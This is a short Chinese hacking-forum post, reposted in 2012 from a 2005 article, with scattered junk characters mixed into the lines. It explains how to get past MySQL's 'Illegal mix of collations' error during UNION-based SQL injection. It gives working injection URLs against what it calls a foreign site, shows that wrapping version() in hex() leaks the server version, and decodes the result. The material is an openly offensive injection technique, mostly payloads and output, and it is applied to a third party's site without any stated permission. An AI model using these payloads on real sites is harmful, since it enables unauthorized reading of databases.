找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2000|回复: 0
打印 上一主题 下一主题

MySQL注射时ErrorNo.1267的突破

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:04:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本文作者:SuperHei- o% o' G& m# G  `$ m, I* T) D
文章性质:原创
0 i5 I9 T. h7 _* ]发布日期:2005-10-18
8 T9 R) f7 p& N" Z1 c) J测试个国外的站时:' [; g) W7 i2 ]- a/ d' ~
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*. m: A$ W4 b  [& Q6 O' k5 Z
返回错误:8 A7 l- @! M5 r# s4 F8 m
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
; v! S, e. B2 U0 xMySQL Error No. 126
$ b4 @2 w: Z; @& z2 e" S: h  p  L! z看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。4 _" b. z7 B. Q% h1 Y) R" i! S
解决办法:转为其他编码如hex。
; U" M- t6 n$ H' x/ Murl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
: a& u: ^' [& `: [, C; }- T2 S# V成功得到hex(version())的值为:  k4 ]0 f, ~- T0 k2 b: V
342E312E332D62657461( O: {# j- @$ ?3 _
回Mysql查询下得到:& u" l* t; |) k
mysql> select 0x342E312E332D62657461;$ S8 ?( e" I. g6 e
+------------------------+
! M, u5 `/ b0 h" ~/ N6 f" I| 0x342E312E332D62657461 |) G9 g( X+ ]& A( _; O9 e6 I: t# @
+------------------------+
0 m1 G" T3 B% E9 y8 e| 4.1.3-beta |5 V, ~3 M: @5 A' M# n4 _! \" a9 t
+------------------------+) X4 x. L' C% n2 O
1 row in set (0.00 sec)! |8 J0 L4 N+ B' ^0 |0 K

- i4 b0 k' h/ S- U6 w. {* J, U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表